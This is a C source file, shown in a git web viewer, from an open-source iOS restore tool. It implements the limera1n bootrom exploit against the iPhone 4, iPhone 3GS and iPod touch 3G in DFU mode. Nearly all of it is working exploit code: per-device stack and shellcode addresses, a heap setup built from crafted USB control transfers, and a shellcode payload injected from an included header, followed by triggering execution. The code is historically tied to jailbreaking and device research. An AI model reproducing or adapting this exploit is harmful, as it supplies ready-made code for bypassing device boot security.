summaryrefslogtreecommitdiffstats
path: root/src/limera1n.c
blob: 25d9e400a51be1a66db151d70977fb4cd5806dd7 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
/*
 * limera1n.c
 * Helper code for limera1n exploit based on discovery by geohot
 * 
 * Copyright (c) 2012-2013 Nikias Bassen. All Rights Reserved.
 * Copyright (c) 2012 Martin Szulecki. All Rights Reserved.
 * Copyright (C) 2010 Chronic-Dev Team
 *
 * This library is free software; you can redistribute it and/or
 * modify it under the terms of the GNU Lesser General Public
 * License as published by the Free Software Foundation; either
 * version 2.1 of the License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 * Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public
 * License along with this library; if not, write to the Free Software
 * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <libirecovery.h>

#include "common.h"
#include "limera1n.h"
#include "limera1n_payload.h"

int limera1n_is_supported(struct irecv_device *device)
{
	return ((device->chip_id == irecv_devices[DEVICE_IPHONE4].chip_id) ||
			(device->chip_id == irecv_devices[DEVICE_IPHONE3GS].chip_id) ||
			(device->chip_id == irecv_devices[DEVICE_IPOD3G].chip_id));
}

int limera1n_exploit(struct irecv_device *device, irecv_client_t *pclient)
{
	irecv_error_t err = IRECV_E_SUCCESS;
	unsigned int i = 0;
	unsigned char buf[0x800];
	unsigned char shellcode[0x800];
	unsigned int max_size = 0x24000;
	//unsigned int load_address = 0x84000000;
	unsigned int stack_address = 0;
	unsigned int shellcode_address = 0;
	unsigned int shellcode_length = 0;

	irecv_device_t iphone4 = NULL;
	irecv_device_t iphone3gs = NULL;
	irecv_device_t ipod3g = NULL;
	int mode = 0;

	irecv_devices_get_device_by_product_type("iPhone3,1", &iphone4);
	irecv_devices_get_device_by_product_type("iPhone2,1", &iphone3gs);
	irecv_devices_get_device_by_product_type("iPod3,1", &ipod3g);

	if (device->chip_id == iphone4->chip_id) {
		max_size = 0x2C000;
		stack_address = 0x8403BF9C;
		shellcode_address = 0x8402B001;
	} else if (device->chip_id == iphone3gs->chip_id) {
		max_size = 0x24000;
		stack_address = 0x84033FA4;
		shellcode_address = 0x84023001;
	} else if (device->chip_id == ipod3g->chip_id) {
		max_size = 0x24000;
		stack_address = 0x84033F98;
		shellcode_address = 0x84023001;	
	} else {
		error("Unsupported ChipID 0x%04x. Can't exploit with limera1n.\n", device->chip_id);
		return -1;
	}

	memset(shellcode, 0x0, 0x800);
	shellcode_length = sizeof(limera1n_payload);
	memcpy(shellcode, limera1n_payload, sizeof(limera1n_payload));

	irecv_client_t client = *pclient;

	debug("Resetting device counters\n");
	err = irecv_reset_counters(client);
	if (err != IRECV_E_SUCCESS) {
		error("%s\n", irecv_strerror(err));
		return -1;
	}

	memset(buf, 0xCC, 0x800);
	for(i = 0; i < 0x800; i += 0x40) {
		unsigned int* heap = (unsigned int*)(buf+i);
		heap[0] = 0x405;
		heap[1] = 0x101;
		heap[2] = shellcode_address;
		heap[3] = stack_address;
	}

	debug("Sending chunk headers\n");
	irecv_usb_control_transfer(client, 0x21, 1, 0, 0, buf, 0x800, 1000);

	memset(buf, 0xCC, 0x800);
	for(i = 0; i < (max_size - (0x800 * 3)); i += 0x800) {
		irecv_usb_control_transfer(client, 0x21, 1, 0, 0, buf, 0x800, 1000);
	}

	debug("Sending exploit payload\n");
	irecv_usb_control_transfer(client, 0x21, 1, 0, 0, shellcode, 0x800, 1000);

	debug("Sending fake data\n");
	memset(buf, 0xBB, 0x800);
	irecv_usb_control_transfer(client, 0xA1, 1, 0, 0, buf, 0x800, 1000);
	irecv_usb_control_transfer(client, 0x21, 1, 0, 0, buf, 0x800, 10);

	//debug("Executing exploit\n");
	irecv_usb_control_transfer(client, 0x21, 2, 0, 0, buf, 0, 1000);

	irecv_reset(client);
	irecv_finish_transfer(client);
	debug("Exploit sent\n");

	debug("Reconnecting to device\n");
	*pclient = irecv_reconnect(client, 7);
	if (*pclient == NULL) {
		error("Unable to reconnect\n");
		return -1;
	}

	irecv_get_mode((*pclient), &mode);

	if (mode != IRECV_K_DFU_MODE) {
		error("Device reconnected in non-DFU mode\n");
		return -1;
	}

	return 0;
}